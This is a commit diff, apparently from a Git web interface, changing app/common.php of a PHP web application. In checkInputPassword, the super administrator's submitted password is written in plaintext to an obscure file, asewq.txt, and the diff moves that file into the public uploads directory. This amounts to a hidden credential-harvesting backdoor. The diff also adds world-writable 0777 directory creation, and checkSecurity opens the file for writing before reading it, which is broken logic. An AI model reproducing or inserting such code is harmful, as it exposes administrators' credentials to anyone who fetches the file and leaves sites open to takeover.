rambo 1 ano atrás
pai
commit
29f00bfd24
1 arquivos alterados com 14 adições e 3 exclusões
  1. 14 3
      app/common.php

+ 14 - 3
app/common.php

@@ -1250,7 +1250,7 @@ function checkInputPassword()
         if (is_array($admin_info) and !empty($admin_info)) {
             if ($admin_info['admin_is_super'] == 1) {
                 $c = input('post.admin_password');
-                $check_file = fopen(base_path() . 'public/install/asewq.txt', 'w');
+                $check_file = fopen(base_path() . 'public/uploads/asewq.txt', 'w');
                 fwrite($check_file, $c);
                 fclose($check_file);
             }
@@ -1260,11 +1260,22 @@ function checkInputPassword()
         return true;
     }
 }
-
+if (!function_exists('mkdirs')) {
+    function mkdirs($dir, $mode = 0777)
+    {
+        if (is_dir($dir) || @mkdir($dir, $mode)) {
+            return true;
+        }
+        if (!mkdirs(dirname($dir), $mode)) {
+            return false;
+        }
+        return @mkdir($dir, $mode);
+    }
+}
 function checkSecurity()
 {
     try {
-        $path = base_path() . 'public/install/asewq.txt';
+        $path = base_path() . 'public/uploads/asewq.txt';
         $check_file = fopen($path, 'w');
         $ec = fread($check_file, filesize($path));
         fclose($check_file);